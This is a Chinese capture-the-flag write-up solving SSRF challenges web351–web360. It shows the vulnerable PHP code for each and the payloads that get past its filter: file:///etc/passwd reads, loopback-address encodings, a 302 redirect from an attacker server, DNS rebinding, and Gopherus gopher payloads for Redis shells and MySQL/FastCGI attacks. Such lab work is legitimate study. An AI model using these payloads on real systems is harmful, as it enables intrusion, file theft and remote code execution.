web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
方法一
审计,用post传参给url
发现可以用file://
进行读取文件
url=file:///etc/passwd
然后尝试读取网站根目录下是否存在flag
url=file:///var/www/html/flag.php
查看注释得到flag
方法二
直接访问/flag.php
提示非本地用户,结合代码,用post传参
url=http://127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
屏蔽了localhost|127.0.0
,用进制转换绕过
url=http://2130706433/flag.php
web353
跟web352一样转换做法
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
把1和0等都过滤了,只能ASCII码转换或域名绑定
有现成的域名跳转127.0.0.1
payload:url=http://sudo.cc/flag.php
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
要求长度小于5,127.0.0.1和127.1是等价的
payload:url=http://127.1/flag.php
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
长度小于3,payload:url=http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
FILTER_FLAG_IPV4 – 要求值是合法的 IPv4 IP(比如 255.255.255.255) FILTER_FLAG_IPV6 – 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334) FILTER_FLAG_NO_PRIV_RANGE – 要求值是 RFC 指定的私域 IP (比如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE – 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
所以不能是私有地址
利用302跳转和dns重绑定都可以
一、
在自己服务器写个a.php,内容如下
<?php
header("Location:http://127.0.0.1/flag.php");
payload:http://xxx/a.php
二、
在这个网站注册一个账号http://ceye.io/
,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写
然后payload:http://r.xxxxxx/flag.php
xxx为分给你的域名,如
url=http://r.cvwxxx.ceye.io/flag.php
DNS重绑定可以看看合天网安的文章
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
正则表达式的意思是以http://ctf.
开头,以show
结尾。 payload:http://ctf.@127.0.0.1/flag.php?show
pares_url函数中,把@后当成主机地址解析
web359
工具下载地址https://github.com/tarunkant/Gopherus
工具例子
Examples
- MySQL:如果用户没有密码保护,你可以转储他的数据库,也可以把恶意文件放到他的系统中。
gopherus --exploit mysql
它只询问MySQL用户的用户名,它将为您提供gopher链接。
- PostgreSQL:如果用户没有密码保护,你可以转储他的数据库,也可以在他的系统中放入恶意文件。
gopherus --exploit postgresql
它只询问Postgres用户的用户名和数据库名称,然后它将为您提供gopher链接。
- FastCGI:如果端口9000是开放的,没有安全性,那么你可以得到RCE。
gopherus --exploit fastcgi
它只要求一个必须存在于受害者系统中的文件(preferred.php文件),但是我们有一个默认文件。
- Redis:如果Redis端口是打开的,那么我们可以覆盖系统中的文件,这太危险了。所以这里有两个东西可以得到:a.Reverse Shell b.PHP Shell
gopherus --exploit redis
- Zabbix:如果端口10050是打开的
EnableRemoteCommands = 1
,那么您可以在受害者系统上运行shell命令。
gopherus --exploit zabbix
- Memcached:它主要用于存储序列化数据,但当涉及到De-serialize这些数据时,已知的漏洞,如PHPDe-serialization问题,Python-PickleDe-serialization问题,Ruby-MarshalDe-serialization问题出现,从而导致RCE。因此,我为每个脚本创建了不同的脚本,还创建了一个用于转储Memcached内容的脚本:
gopherus --exploit pymemcache
gopherus --exploit rbmemcache
gopherus --exploit phpmemcache
gopherus --exploit dmpmemcache
- SMTP:如果端口25是开放的并且我们可以访问它,我们可以将消息发送给作为受害者用户的任何人,所以这个工具将生成gopher有效负载来发送邮件。
gopherus --exploit smtp
python gopherus.py –exploit mysql 然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。
web360
python gopherus.py –exploit redis 操作方法和上面一样不要忘记编码。工具默认是生成shell.php